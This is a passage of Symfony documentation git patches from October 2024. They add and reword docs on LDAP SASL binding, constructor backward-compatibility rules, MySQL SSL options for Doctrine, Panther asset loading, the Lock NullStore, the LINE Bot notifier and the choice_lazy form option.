 in handling the ``Host`` header by various software (web servers, reverse

From 03922de2588b2ec965cd31f40c2ecc4d9b3e0c97 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 3 Oct 2024 16:04:31 +0200
Subject: [PATCH 5072/5766] [Ldap] Add support for `sasl_bind` and `whoami`
 LDAP operations

---
 components/ldap.rst | 15 +++++++++++++++
 1 file changed, 15 insertions(+)

diff --git a/components/ldap.rst b/components/ldap.rst
index 89094fad0b7..d5f6bc3fdfe 100644
--- a/components/ldap.rst
+++ b/components/ldap.rst
@@ -74,6 +74,19 @@ distinguished name (DN) and the password of a user::
 
     When the LDAP server allows unauthenticated binds, a blank password will always be valid.
 
+You can also use the :method:`Symfony\\Component\\Ldap\\Ldap::saslBind` method
+for binding to an LDAP server using `SASL`_::
+
+    // this method defines other optional arguments like $mech, $realm, $authcId, etc.
+    $ldap->saslBind($dn, $password);
+
+After binding to the LDAP server, you can use the :method:`Symfony\\Component\\Ldap\\Ldap::whoami`
+method to get the distinguished name (DN) of the authenticated and authorized user.
+
+.. versionadded:: 7.2
+
+    The ``saslBind()`` and ``whoami()`` methods were introduced in Symfony 7.2.
+
 Once bound (or if you enabled anonymous authentication on your
 LDAP server), you may query the LDAP server using the
 :method:`Symfony\\Component\\Ldap\\Ldap::query` method::
@@ -183,3 +196,5 @@ Possible operation types are ``LDAP_MODIFY_BATCH_ADD``, ``LDAP_MODIFY_BATCH_REMO
 ``LDAP_MODIFY_BATCH_REMOVE_ALL``, ``LDAP_MODIFY_BATCH_REPLACE``. Parameter
 ``$values`` must be ``NULL`` when using ``LDAP_MODIFY_BATCH_REMOVE_ALL``
 operation type.
+
+.. _`SASL`: https://en.wikipedia.org/wiki/Simple_Authentication_and_Security_Layer

From 72d416c3e1856a00f7219c991c3d00fc87bc749f Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Tue, 8 Oct 2024 16:15:42 +0200
Subject: [PATCH 5073/5766] Add BC promise rules for constructors

---
 contributing/code/bc.rst | 12 ++++++++++++
 1 file changed, 12 insertions(+)

diff --git a/contributing/code/bc.rst b/contributing/code/bc.rst
index 3a4f16c5208..a3664a0c32c 100644
--- a/contributing/code/bc.rst
+++ b/contributing/code/bc.rst
@@ -258,6 +258,14 @@ Make public or protected                                                  Yes
 Remove private property                                                   Yes
 **Constructors**
 Add constructor without mandatory arguments                               Yes             :ref:`[1] <note-1>`
+:ref:`Add argument without a default value <add-argument-public-method>`  No
+Add argument with a default value                                         Yes             :ref:`[11] <note-11>`
+Remove argument                                                           No              :ref:`[3] <note-3>`
+Add default value to an argument                                          Yes
+Remove default value of an argument                                       No
+Add type hint to an argument                                              No
+Remove type hint of an argument                                           Yes
+Change argument type                                                      No
 Remove constructor                                                        No
 Reduce visibility of a public constructor                                 No
 Reduce visibility of a protected constructor                              No              :ref:`[7] <note-7>`
@@ -473,6 +481,10 @@ a return type is only possible with a child type.
 constructors of Attribute classes. Using PHP named arguments might break your
 code when upgrading to newer Symfony versions.
 
+.. _note-11:
+
+**[11]** Only optional argument(s) of a constructor at last position may be added.
+
 Making Code Changes in a Backward Compatible Way
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 

From dff0d33e07b828c9e78a6a770e9edc018bd9c14d Mon Sep 17 00:00:00 2001
From: lacpandore <la.catoire@gmail.ocm>
Date: Tue, 8 Oct 2024 22:12:10 +0200
Subject: [PATCH 5074/5766] Update doctrine.rst on ssl documentation

---
 reference/configuration/doctrine.rst | 57 ++++++++++++++++++++++++++++
 1 file changed, 57 insertions(+)

diff --git a/reference/configuration/doctrine.rst b/reference/configuration/doctrine.rst
index e73f4eca599..ea5eb98ea02 100644
--- a/reference/configuration/doctrine.rst
+++ b/reference/configuration/doctrine.rst
@@ -470,5 +470,62 @@ If the ``dir`` configuration is set and the ``is_bundle`` configuration
 is ``true``, the DoctrineBundle will prefix the ``dir`` configuration with
 the path of the bundle.
 
+SSL Connection with MySQL
+~~~~~~~~~~~~~~~~~~~~~~~~~
+
+If you want to configure a secure SSL connection to MySQL in your Symfony application using Doctrine, you need to set specific options for the SSL certificates. Here's how to configure the connection using environment variables for the certificate paths:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        doctrine:
+            dbal:
+                url: '%env(DATABASE_URL)%'
+                server_version: '8.0.31'
+                driver: 'pdo_mysql'
+                options:
+                    # SSL private key (PDO::MYSQL_ATTR_SSL_KEY)
+                    1007: '%env(MYSQL_SSL_KEY)%'
+                    # SSL certificate (PDO::MYSQL_ATTR_SSL_CERT)
+                    1008: '%env(MYSQL_SSL_CERT)%'
+                    # SSL CA authority (PDO::MYSQL_ATTR_SSL_CA)
+                    1009: '%env(MYSQL_SSL_CA)%'
+
+    .. code-block:: xml
+
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:doctrine="http://symfony.com/schema/dic/doctrine"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/doctrine
+                https://symfony.com/schema/dic/doctrine/doctrine-1.0.xsd">
+
+            <doctrine:config>
+                <doctrine:dbal
+                    url="%env(DATABASE_URL)%"
+                    server-version="8.0.31"
+                    driver="pdo_mysql">
+
+                    <doctrine:option key="1007">%env(MYSQL_SSL_KEY)%</doctrine:option>
+                    <doctrine:option key="1008">%env(MYSQL_SSL_CERT)%</doctrine:option>
+                    <doctrine:option key="1009">%env(MYSQL_SSL_CA)%</doctrine:option>
+                </doctrine:dbal>
+            </doctrine:config>
+        </container>
+
+Make sure that your environment variables are correctly set in your ``.env.local`` or ``.env.local.php`` file as follows:
+
+.. code-block:: bash
+
+    MYSQL_SSL_KEY=/path/to/your/server-key.pem
+    MYSQL_SSL_CERT=/path/to/your/server-cert.pem
+    MYSQL_SSL_CA=/path/to/your/ca-cert.pem
+
+This configuration secures your MySQL connection with SSL by specifying the paths to the required certificates.
+
+
 .. _DBAL documentation: https://www.doctrine-project.org/projects/doctrine-dbal/en/current/reference/configuration.html
 .. _`Doctrine Metadata Drivers`: https://www.doctrine-project.org/projects/doctrine-orm/en/current/reference/metadata-drivers.html

From 1b5859a1a6e6b8d0db1ab6806716bed80d5c1974 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 9 Oct 2024 14:58:06 +0200
Subject: [PATCH 5075/5766] Minor tweaks

---
 reference/configuration/doctrine.rst | 26 ++++++++++++++++++++++++--
 1 file changed, 24 insertions(+), 2 deletions(-)

diff --git a/reference/configuration/doctrine.rst b/reference/configuration/doctrine.rst
index ea5eb98ea02..8a1062a54ae 100644
--- a/reference/configuration/doctrine.rst
+++ b/reference/configuration/doctrine.rst
@@ -473,7 +473,9 @@ the path of the bundle.
 SSL Connection with MySQL
 ~~~~~~~~~~~~~~~~~~~~~~~~~
 
-If you want to configure a secure SSL connection to MySQL in your Symfony application using Doctrine, you need to set specific options for the SSL certificates. Here's how to configure the connection using environment variables for the certificate paths:
+To securely configure an SSL connection to MySQL in your Symfony application
+with Doctrine, you need to specify the SSL certificate options. Here's how to
+set up the connection using environment variables for the certificate paths:
 
 .. configuration-block::
 
@@ -516,7 +518,27 @@ If you want to configure a secure SSL connection to MySQL in your Symfony applic
             </doctrine:config>
         </container>
 
-Make sure that your environment variables are correctly set in your ``.env.local`` or ``.env.local.php`` file as follows:
+    .. code-block:: php
+
+        // config/packages/doctrine.php
+        use Symfony\Config\DoctrineConfig;
+
+        return static function (DoctrineConfig $doctrine): void {
+            $doctrine->dbal()
+                ->connection('default')
+                ->url(env('DATABASE_URL')->resolve())
+                ->serverVersion('8.0.31')
+                ->driver('pdo_mysql');
+
+            $doctrine->dbal()->defaultConnection('default');
+
+            $doctrine->dbal()->option(\PDO::MYSQL_ATTR_SSL_KEY, '%env(MYSQL_SSL_KEY)%');
+            $doctrine->dbal()->option(\PDO::MYSQL_SSL_CERT, '%env(MYSQL_ATTR_SSL_CERT)%');
+            $doctrine->dbal()->option(\PDO::MYSQL_SSL_CA, '%env(MYSQL_ATTR_SSL_CA)%');
+        };
+
+Ensure your environment variables are correctly set in the ``.env.local`` or
+``.env.local.php`` file as follows:
 
 .. code-block:: bash
 

From 3df38498bba9aaede83aafad5366d6449630d437 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?=F0=9F=A6=85KoNekoD?= <moskva111@yahoo.com>
Date: Thu, 10 Oct 2024 11:01:05 +0300
Subject: [PATCH 5076/5766] feat(when constraint): add context variable

---
 reference/constraints/When.rst | 4 +++-
 1 file changed, 3 insertions(+), 1 deletion(-)

diff --git a/reference/constraints/When.rst b/reference/constraints/When.rst
index e1e8ac895ce..12b43fc7d63 100644
--- a/reference/constraints/When.rst
+++ b/reference/constraints/When.rst
@@ -163,7 +163,7 @@ validation of constraints won't be triggered.
 To learn more about the expression language syntax, see
 :doc:`/reference/formats/expression_language`.
 
-Depending on how you use the constraint, you have access to 1 or 2 variables
+Depending on how you use the constraint, you have access to 1 or 3 variables
 in your expression:
 
 ``this``
@@ -171,6 +171,8 @@ in your expression:
 ``value``
     The value of the property being validated (only available when
     the constraint is applied to a property).
+``context``
+    This is the context that is used in validation
 
 The ``value`` variable can be used when you want to execute more complex
 validation based on its value:

From e5b9efbfb466e3b476afe6823a82c1087651316e Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Thu, 10 Oct 2024 10:44:22 +0200
Subject: [PATCH 5077/5766] Use type hint

---
 controller/forwarding.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/controller/forwarding.rst b/controller/forwarding.rst
index a0e0648517a..8d8be859da5 100644
--- a/controller/forwarding.rst
+++ b/controller/forwarding.rst
@@ -11,7 +11,7 @@ and calls the defined controller. The ``forward()`` method returns the
 :class:`Symfony\\Component\\HttpFoundation\\Response` object that is returned
 from *that* controller::
 
-    public function index($name): Response
+    public function index(string $name): Response
     {
         $response = $this->forward('App\Controller\OtherController::fancy', [
             'name'  => $name,

From 5e8fb6ebd991577c9645d1df13bdabca8cf3b922 Mon Sep 17 00:00:00 2001
From: Antoine Lamirault <lamiraultantoine@gmail.com>
Date: Thu, 10 Oct 2024 14:21:34 +0200
Subject: [PATCH 5078/5766] [Lock] Add NullStore

---
 components/lock.rst | 8 ++++++++
 1 file changed, 8 insertions(+)

diff --git a/components/lock.rst b/components/lock.rst
index 5a76223112b..69e51a1407b 100644
--- a/components/lock.rst
+++ b/components/lock.rst
@@ -406,6 +406,14 @@ Store                                                       Scope   Blocking  Ex
     A special ``InMemoryStore`` is available for saving locks in memory during
     a process, and can be useful for testing.
 
+.. tip::
+
+    A special ``NullStore`` is available and persist nothing, it can be useful for testing.
+
+.. versionadded:: 7.2
+
+    The :class:`Symfony\\Component\\Lock\\Store\\NullStore` was introduced in Symfony 7.2.
+
 .. _lock-store-flock:
 
 FlockStore

From 52d4f7bc5681bbf563eff8c4db8c439e0151d279 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 10 Oct 2024 16:06:12 +0200
Subject: [PATCH 5079/5766] Minor reword

---
 components/lock.rst | 9 +++------
 1 file changed, 3 insertions(+), 6 deletions(-)

diff --git a/components/lock.rst b/components/lock.rst
index 69e51a1407b..bf75fb49f7a 100644
--- a/components/lock.rst
+++ b/components/lock.rst
@@ -403,12 +403,9 @@ Store                                                       Scope   Blocking  Ex
 
 .. tip::
 
-    A special ``InMemoryStore`` is available for saving locks in memory during
-    a process, and can be useful for testing.
-
-.. tip::
-
-    A special ``NullStore`` is available and persist nothing, it can be useful for testing.
+    Symfony includes two other special stores that are mostly useful for testing:
+    ``InMemoryStore``, which saves locks in memory during a process, and ``NullStore``,
+    which doesn't persist anything.
 
 .. versionadded:: 7.2
 

From 5bb26548bea584015942341eaf2ad3c80578c9cb Mon Sep 17 00:00:00 2001
From: Ahmed EBEN HASSINE <ahmed.eben-hassine@codein.fr>
Date: Fri, 11 Oct 2024 12:55:13 +0200
Subject: [PATCH 5080/5766] Adopt Snake Case Naming for Route Paths and Names

---
 contributing/code/standards.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/contributing/code/standards.rst b/contributing/code/standards.rst
index 2668269dfcc..b516f835179 100644
--- a/contributing/code/standards.rst
+++ b/contributing/code/standards.rst
@@ -214,8 +214,8 @@ Naming Conventions
 * Use `camelCase`_ for PHP variables, function and method names, arguments
   (e.g. ``$acceptableContentTypes``, ``hasSession()``);
 
-* Use `snake_case`_ for configuration parameters and Twig template variables
-  (e.g. ``framework.csrf_protection``, ``http_status_code``);
+Use `snake_case`_ for configuration parameters, route names and Twig template
+  variables (e.g. ``framework.csrf_protection``, ``http_status_code``);
 
 * Use SCREAMING_SNAKE_CASE for constants (e.g. ``InputArgument::IS_ARRAY``);
 

From f2a68b5a4a23a2497296daaada263118597a5350 Mon Sep 17 00:00:00 2001
From: Benjamin Georgeault <bgeorgeault@wedgesama.fr>
Date: Mon, 14 Oct 2024 10:19:51 +0200
Subject: [PATCH 5081/5766] Add info about troubleshooting assets loading with
 Panther. - Can happen with any requested uri that look like a non `.php` file
 - Case can happen with AssetMapper.

---
 testing/end_to_end.rst | 51 ++++++++++++++++++++++++++++++++++++++++++
 1 file changed, 51 insertions(+)

diff --git a/testing/end_to_end.rst b/testing/end_to_end.rst
index eede672bfce..bf7cebf86ef 100644
--- a/testing/end_to_end.rst
+++ b/testing/end_to_end.rst
@@ -799,6 +799,55 @@ variable to ``false`` in your style file:
 
     $enable-smooth-scroll: false;
 
+Assets not loading (PHP built-in server only)
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+You may face cases where your assets are not loaded while running your tests.
+Because Panther use the `PHP built-in server`_ to serve your app, if your assets files
+(or any requested URI that not a ``.php`` file) does not exist in your public directory
+(e.g. rendered by your Symfony app), the built-in server will return a 404 not found.
+
+This can happen when using :doc:`AssetMapper component </frontend/asset_mapper>`
+if you let your Symfony app handle your assets in dev environment.
+
+To solve this, add a ``tests/router.php``::
+
+    // tests/router.php
+    if (is_file($_SERVER['DOCUMENT_ROOT'].\DIRECTORY_SEPARATOR.$_SERVER['SCRIPT_NAME'])) {
+        return false;
+    }
+
+    $script = 'index.php';
+
+    $_SERVER = array_merge($_SERVER, $_ENV);
+    $_SERVER['SCRIPT_FILENAME'] = $_SERVER['DOCUMENT_ROOT'].\DIRECTORY_SEPARATOR.$script;
+
+    $_SERVER['SCRIPT_NAME'] = \DIRECTORY_SEPARATOR.$script;
+    $_SERVER['PHP_SELF'] = \DIRECTORY_SEPARATOR.$script;
+
+    require $script;
+
+Then declare it as a router for Panther server in ``phpunit.xml.dist`` using ``PANTHER_WEB_SERVER_ROUTER`` var:
+
+.. code-block:: xml
+
+    <!-- phpunit.xml.dist -->
+    <phpunit>
+        <!-- ... -->
+        <php>
+            <!-- ... -->
+            <server name="PANTHER_WEB_SERVER_ROUTER" value="../tests/router.php"/>
+        </php>
+    </phpunit>
+
+Credit from `Testing Part 2 Functional Testing on Symfony cast`_ were you can see more about this case.
+
+.. note::
+
+    When using :doc:`AssetMapper component </frontend/asset_mapper>`, you can also compile your assets before running
+    your tests. It will make your tests faster because Symfony will not have to handle them, the built-in server
+    will serve them directly.
+
 Additional Documentation
 ------------------------
 
@@ -825,3 +874,5 @@ documentation:
 .. _`Gitlab CI`: https://docs.gitlab.com/ee/ci/
 .. _`AppVeyor`: https://www.appveyor.com/
 .. _`LiipFunctionalTestBundle`: https://github.com/liip/LiipFunctionalTestBundle
+.. _`PHP built-in server`: https://www.php.net/manual/en/features.commandline.webserver.php
+.. _`Testing Part 2 Functional Testing on Symfony cast`: https://symfonycasts.com/screencast/last-stack/testing

From 16bccc3a3bab72597e7ad7bf23a291a12f4b958e Mon Sep 17 00:00:00 2001
From: Benjamin Georgeault <bgeorgeault@wedgesama.fr>
Date: Mon, 14 Oct 2024 11:27:37 +0200
Subject: [PATCH 5082/5766] Add missing ref in constraint map to the new Yaml
 constraint.

---
 reference/constraints/map.rst.inc | 1 +
 1 file changed, 1 insertion(+)

diff --git a/reference/constraints/map.rst.inc b/reference/constraints/map.rst.inc
index e0dbd6c4512..97c049dae90 100644
--- a/reference/constraints/map.rst.inc
+++ b/reference/constraints/map.rst.inc
@@ -34,6 +34,7 @@ String Constraints
 * :doc:`Charset </reference/constraints/Charset>`
 * :doc:`MacAddress </reference/constraints/MacAddress>`
 * :doc:`WordCount </reference/constraints/WordCount>`
+* :doc:`Yaml </reference/constraints/Yaml>`
 
 Comparison Constraints
 ~~~~~~~~~~~~~~~~~~~~~~

From d10abd7ad04171dd74b8032826bdb1db910894c7 Mon Sep 17 00:00:00 2001
From: pan93412 <pan93412@gmail.com>
Date: Fri, 11 Oct 2024 14:19:45 +0800
Subject: [PATCH 5083/5766] [Notifier] Add LINE Bot notifier

---
 notifier.rst | 6 ++++++
 1 file changed, 6 insertions(+)

diff --git a/notifier.rst b/notifier.rst
index 8b684ef2d1d..e5671eea534 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -341,6 +341,7 @@ Service                                  Package                               D
 `Firebase`_                              ``symfony/firebase-notifier``         ``firebase://USERNAME:PASSWORD@default``
 `Gitter`_                                ``symfony/gitter-notifier``           ``gitter://TOKEN@default?room_id=ROOM_ID``
 `GoogleChat`_                            ``symfony/google-chat-notifier``      ``googlechat://ACCESS_KEY:ACCESS_TOKEN@default/SPACE?thread_key=THREAD_KEY``
+`LINE Bot`_                              ``symfony/line-bot-notifier``         ``linebot://TOKEN@default?receiver=RECEIVER``
 `LINE Notify`_                           ``symfony/line-notify-notifier``      ``linenotify://TOKEN@default``
 `LinkedIn`_                              ``symfony/linked-in-notifier``        ``linkedin://TOKEN:USER_ID@default``
 `Mastodon`_                              ``symfony/mastodon-notifier``         ``mastodon://ACCESS_TOKEN@HOST``
@@ -355,6 +356,10 @@ Service                                  Package                               D
 `Zulip`_                                 ``symfony/zulip-notifier``            ``zulip://EMAIL:TOKEN@HOST?channel=CHANNEL``
 ======================================   ====================================  =============================================================================
 
+.. versionadded:: 7.2
+
+    The ``LINE Bot`` integration was introduced in Symfony 7.2.
+
 .. versionadded:: 7.1
 
     The ``Bluesky`` integration was introduced in Symfony 7.1.
@@ -1100,6 +1105,7 @@ is dispatched. Listeners receive a
 .. _`Iqsms`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Iqsms/README.md
 .. _`iSendPro`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Isendpro/README.md
 .. _`KazInfoTeh`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/KazInfoTeh/README.md
+.. _`LINE Bot`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/LineBot/README.md
 .. _`LINE Notify`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/LineNotify/README.md
 .. _`LightSms`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/LightSms/README.md
 .. _`LinkedIn`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/LinkedIn/README.md

From b4b0c4c727ae35e16807717307ba37ad48b31777 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 14 Oct 2024 11:43:52 +0200
Subject: [PATCH 5084/5766] Minor tweak

---
 notifier.rst | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/notifier.rst b/notifier.rst
index 7d4ce6ef6be..71af2ccb440 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -370,14 +370,14 @@ Service                                  Package                               D
 `Zulip`_                                 ``symfony/zulip-notifier``            ``zulip://EMAIL:TOKEN@HOST?channel=CHANNEL``
 ======================================   ====================================  =============================================================================
 
-.. versionadded:: 7.2
-
-    The ``LINE Bot`` integration was introduced in Symfony 7.2.
-
 .. versionadded:: 7.1
 
     The ``Bluesky`` integration was introduced in Symfony 7.1.
 
+.. versionadded:: 7.2
+
+    The ``LINE Bot`` integration was introduced in Symfony 7.2.
+
 .. deprecated:: 7.2
 
     The ``Gitter`` integration was removed in Symfony 7.2 because that service

From 78e0a190a821e952b3b1ff7b9352060e6720e53d Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 14 Oct 2024 12:56:16 +0200
Subject: [PATCH 5085/5766] Some rewords

---
 frontend/asset_mapper.rst |  2 ++
 testing/end_to_end.rst    | 35 +++++++++++++++++------------------
 2 files changed, 19 insertions(+), 18 deletions(-)

diff --git a/frontend/asset_mapper.rst b/frontend/asset_mapper.rst
index b4d2e5738b8..c9e5d543846 100644
--- a/frontend/asset_mapper.rst
+++ b/frontend/asset_mapper.rst
@@ -77,6 +77,8 @@ If you look at the HTML in your page, the URL will be something
 like: ``/assets/images/duck-3c16d9220694c0e56d8648f25e6035e9.png``. If you change
 the file, the version part of the URL will also change automatically.
 
+.. _asset-mapper-compile-assets:
+
 Serving Assets in dev vs prod
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
diff --git a/testing/end_to_end.rst b/testing/end_to_end.rst
index bf7cebf86ef..cbc5b6880bd 100644
--- a/testing/end_to_end.rst
+++ b/testing/end_to_end.rst
@@ -799,18 +799,20 @@ variable to ``false`` in your style file:
 
     $enable-smooth-scroll: false;
 
-Assets not loading (PHP built-in server only)
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+Assets not Loading when Using the PHP Built-In Server
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-You may face cases where your assets are not loaded while running your tests.
-Because Panther use the `PHP built-in server`_ to serve your app, if your assets files
-(or any requested URI that not a ``.php`` file) does not exist in your public directory
-(e.g. rendered by your Symfony app), the built-in server will return a 404 not found.
+Sometimes, your assets might not load during tests. This happens because Panther
+uses the `PHP built-in server`_ to serve your app. If asset files (or any requested
+URI that's not a ``.php`` file) aren't in your public directory, the built-in
+server will return a 404 error. This often happens when letting the :doc:`AssetMapper component </frontend/asset_mapper>`
+handle your application assets in the ``dev`` environment.
 
-This can happen when using :doc:`AssetMapper component </frontend/asset_mapper>`
-if you let your Symfony app handle your assets in dev environment.
+One solution when using AssetMapper is to ref:`compile assets <asset-mapper-compile-assets>`
+before running your tests. This will also speed up your tests, as Symfony won't
+need to handle the assets, allowing the PHP built-in server to serve them directly.
 
-To solve this, add a ``tests/router.php``::
+Another option is to create a file called ``tests/router.php`` and add the following to it::
 
     // tests/router.php
     if (is_file($_SERVER['DOCUMENT_ROOT'].\DIRECTORY_SEPARATOR.$_SERVER['SCRIPT_NAME'])) {
@@ -827,7 +829,8 @@ To solve this, add a ``tests/router.php``::
 
     require $script;
 
-Then declare it as a router for Panther server in ``phpunit.xml.dist`` using ``PANTHER_WEB_SERVER_ROUTER`` var:
+Then declare it as a router for Panther server in ``phpunit.xml.dist`` using the
+``PANTHER_WEB_SERVER_ROUTER`` environment variable:
 
 .. code-block:: xml
 
@@ -836,17 +839,13 @@ Then declare it as a router for Panther server in ``phpunit.xml.dist`` using ``P
         <!-- ... -->
         <php>
             <!-- ... -->
-            <server name="PANTHER_WEB_SERVER_ROUTER" value="../tests/router.php"/>
+            <server name="PANTHER_WEB_SERVER_ROUTER" value="./tests/router.php"/>
         </php>
     </phpunit>
 
-Credit from `Testing Part 2 Functional Testing on Symfony cast`_ were you can see more about this case.
+.. seealso::
 
-.. note::
-
-    When using :doc:`AssetMapper component </frontend/asset_mapper>`, you can also compile your assets before running
-    your tests. It will make your tests faster because Symfony will not have to handle them, the built-in server
-    will serve them directly.
+    See the `Functional Testing tutorial`_ on SymfonyCasts.
 
 Additional Documentation
 ------------------------
@@ -875,4 +874,4 @@ documentation:
 .. _`AppVeyor`: https://www.appveyor.com/
 .. _`LiipFunctionalTestBundle`: https://github.com/liip/LiipFunctionalTestBundle
 .. _`PHP built-in server`: https://www.php.net/manual/en/features.commandline.webserver.php
-.. _`Testing Part 2 Functional Testing on Symfony cast`: https://symfonycasts.com/screencast/last-stack/testing
+.. _`Functional Testing tutorial`: https://symfonycasts.com/screencast/last-stack/testing

From e55e7cda09565450489232ab9144b752f8fe7e73 Mon Sep 17 00:00:00 2001
From: Yonel Ceruto <yonel.ceruto@scnd.com>
Date: Sun, 13 Oct 2024 15:23:24 -0400
Subject: [PATCH 5086/5766] documenting choice_lazy option

---
 reference/forms/types/choice.rst              |  2 ++
 .../forms/types/options/choice_lazy.rst.inc   | 31 +++++++++++++++++++
 2 files changed, 33 insertions(+)
 create mode 100644 reference/forms/types/options/choice_lazy.rst.inc

diff --git a/reference/forms/types/choice.rst b/reference/forms/types/choice.rst
index 55f2d016001..2d31aac890c 100644
--- a/reference/forms/types/choice.rst
+++ b/reference/forms/types/choice.rst
@@ -178,6 +178,8 @@ correct types will be assigned to the model.
 
 .. include:: /reference/forms/types/options/choice_loader.rst.inc
 
+.. include:: /reference/forms/types/options/choice_lazy.rst.inc
+
 .. include:: /reference/forms/types/options/choice_name.rst.inc
 
 .. include:: /reference/forms/types/options/choice_translation_domain_enabled.rst.inc
diff --git a/reference/forms/types/options/choice_lazy.rst.inc b/reference/forms/types/options/choice_lazy.rst.inc
new file mode 100644
index 00000000000..db8591a613d
--- /dev/null
+++ b/reference/forms/types/options/choice_lazy.rst.inc
@@ -0,0 +1,31 @@
+``choice_lazy``
+~~~~~~~~~~~~~~~
+
+**type**: ``boolean`` **default**: ``false``
+
+The ``choice_lazy`` option is especially useful when dealing with a large set of
+choices, where loading all of them at once could lead to performance issues or
+significant delays::
+
+    use App\Entity\User;
+    use Symfony\Bridge\Doctrine\Form\Type\EntityType;
+
+    $builder->add('user', EntityType::class, [
+        'class' => User::class,
+        'choice_lazy' => true,
+    ]);
+
+When set to ``true``, and used in combination with the ``choice_loader`` option,
+the form will only load and render the choices that are preset as default values
+or submitted. This allows you to defer loading the full list of choices and can
+improve the performance of your form.
+
+.. caution::
+
+    Please note that when using ``choice_lazy``, you are responsible for providing
+    the user interface to select choices, typically through a JavaScript plugin that
+    can handle the dynamic loading of choices.
+
+.. versionadded:: 7.2
+
+    The ``choice_lazy`` option was introduced in Symfony 7.2.

From e9bd37b9073074b82a31789851c97b6219e79d1e Mon Sep 17 00:00:00 2001
From: Christian Flothmann <christian.flothmann@qossmic.com>
Date: Mon, 14 Oct 2024 14:58:35 +0200
Subject: [PATCH 5087/5766] merge versionadded directives

---
 notifier.rst | 6 +-----
 1 file changed, 1 insertion(+), 5 deletions(-)

diff --git a/notifier.rst b/notifier.rst
index 71af2ccb440..b2329b2b28a 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -207,10 +207,6 @@ Service
                     **Webhook support**: No
 ==================  ====================================================================================================================================
 
-.. versionadded:: 7.2
-
-    The ``Primotexto`` integration was introduced in Symfony 7.2.
-
 .. tip::
 
     Use :doc:`Symfony configuration secrets </configuration/secrets>` to securely
@@ -229,7 +225,7 @@ Service
 
 .. versionadded:: 7.2
 
-    The ``Sipgate`` integration was introduced in Symfony 7.2.
+    The ``Primotexto`` and ``Sipgate`` integrations were introduced in Symfony 7.2.
 
 .. deprecated:: 7.1
 

From 12dfa63405ec8b7413ec69fa6df8306ce445d648 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 14 Oct 2024 15:46:52 +0200
Subject: [PATCH 5088/5766] Minor tweaks

---
 .../forms/types/options/choice_lazy.rst.inc   | 28 +++++++++----------
 1 file changed, 14 insertions(+), 14 deletions(-)

diff --git a/reference/forms/types/options/choice_lazy.rst.inc b/reference/forms/types/options/choice_lazy.rst.inc
index db8591a613d..bdcbf178406 100644
--- a/reference/forms/types/options/choice_lazy.rst.inc
+++ b/reference/forms/types/options/choice_lazy.rst.inc
@@ -3,9 +3,13 @@
 
 **type**: ``boolean`` **default**: ``false``
 
-The ``choice_lazy`` option is especially useful when dealing with a large set of
-choices, where loading all of them at once could lead to performance issues or
-significant delays::
+.. versionadded:: 7.2
+
+    The ``choice_lazy`` option was introduced in Symfony 7.2.
+
+The ``choice_lazy`` option is particularly useful when dealing with a large set
+of choices, where loading them all at once could cause performance issues or
+delays::
 
     use App\Entity\User;
     use Symfony\Bridge\Doctrine\Form\Type\EntityType;
@@ -15,17 +19,13 @@ significant delays::
         'choice_lazy' => true,
     ]);
 
-When set to ``true``, and used in combination with the ``choice_loader`` option,
-the form will only load and render the choices that are preset as default values
-or submitted. This allows you to defer loading the full list of choices and can
-improve the performance of your form.
+When set to ``true`` and used alongside the ``choice_loader`` option, the form
+will only load and render the choices that are preset as default values or
+submitted. This defers the loading of the full list of choices, helping to
+improve your form's performance.
 
 .. caution::
 
-    Please note that when using ``choice_lazy``, you are responsible for providing
-    the user interface to select choices, typically through a JavaScript plugin that
-    can handle the dynamic loading of choices.
-
-.. versionadded:: 7.2
-
-    The ``choice_lazy`` option was introduced in Symfony 7.2.
+    Keep in mind that when using ``choice_lazy``, you are responsible for
+    providing the user interface for selecting choices, typically through a
+    JavaScript plugin capable of dynamically loading choices.

From 887e4d33654c1c1a1439223fa4716cb4d1076614 Mon Sep 17 00:00:00 2001
From: Tarjei Huse <tarjei@asku.no>
Date: Mon, 5 Aug 2024 11:47:36 +0200
